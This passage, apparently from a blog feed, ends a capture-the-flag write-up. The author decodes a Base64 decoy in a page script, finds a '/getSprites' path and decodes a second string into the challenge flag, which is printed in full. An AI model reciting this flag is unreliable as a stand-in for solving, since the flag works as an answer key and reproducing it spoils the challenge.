      tipIndex = (tipIndex + 1) % tips.length
      tipElement.textContent = tips[tipIndex]
    }, 7000) // Change tips every 7 seconds
    fetch('/getSprites')
      .then((response) =&gt; response.json())
      .then((data) =&gt; {
        console.log('VGhhbmsgeW91IE1hcmlvISBCdXQgb3VyIHByaW5jZXNzIGlzIGluIGFub3RoZXIgY2FzdGxlIQ==')
      })
  &lt;/script&gt;
&lt;/body&gt;
</code></pre>
<p>I saw a string at the bottom that looked like Base64, so I took it to decode it.<br />
The result will be: <code>Thank you Mario! But our princess is in another castle!</code><br />
Okay, this doesn’t look like a flag.<br />
After carefully checking the code, I found a path called <code>/getSprites</code><br />
Entering the page, I got another string of Base64<br />
<code>cG9jdGZ7dXdzcF8xXzdIMW5rXzdIM3IzcjBfMV80bX0=</code><br />
Okay, let’s take it to the decoder to decode it.<br />
Then I got the right flag!<br />
<code>poctf{uwsp_1_7H1nk_7H3r3r0_1_4m}</code></p>]]></content>
    <category term="CTF" />
  </entry>
</feed>